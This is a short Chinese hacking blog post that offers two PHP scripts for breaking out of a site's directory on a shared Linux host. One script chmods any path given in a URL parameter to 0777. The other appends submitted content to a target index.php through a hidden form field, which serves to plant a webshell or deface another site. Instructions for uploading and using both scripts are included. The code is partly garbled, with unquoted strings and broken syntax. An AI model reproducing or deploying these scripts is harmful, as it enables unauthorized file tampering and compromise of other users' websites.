linux提权之跨目录访问拿webshell代码

作者:hack1990 时间:12-02-12 阅读数:829人阅读

linux主机的权限设置一般情况下都很松散,少有的一些还是不能直接跨目录访问。

在linux不能提权的情况下,可以试试这些代码来跨目录试试。


 

第一个exp代码:

PHP代码
<?php  
$path = stripslashes($_GET['path']);  
$ok = chmod ($path , 0777);  
if ($ok == true)  
echo CHMOD OK , Permission editable file or directory. Permission to write;  
?>  

把以上代码保存为hack1990.coom.PHP

访问http://www.iick.blog/hack1990.coom.php?path=../../要跨的目录/index.php

这里的index.PHP是要修改权限的文件。

 

第二个exp代码:

PHP代码
<?php  
@$filename = stripslashes($_POST['filename']);  
@$mess = stripslashes($_POST['mess']);  
$fp = @fopen({$_POST['filename']}, 'a');  
@fputs($fp,$mess <hr size=1 color=black>);  
@fclose($fp);  
?>  
<form name=form1 action=exploit.php method=post>  
<p align=center><b>  
<br>  
CODE :<br>  
<textarea name=mess rows=3></textarea></font></b></textarea>  
</font></b> <p><input type=hidden name=filename value=../../路径/index.php></p>  
<center>  
<input type=reset name=Submit value=Delete>  
<input name=go type=submit value=Send onClick=javascript:this.style.visibility ='hidden';>  
<center>  
</form>  
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>  
<title>Changing CHMOD Permissions Exploit – Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title>  
</head>  
<body>  
</center>  
</body>  

把代码保存为hack1990.com.php注意代码中的路径。

用的时候要改成访问的目录和文件。

 

发表评论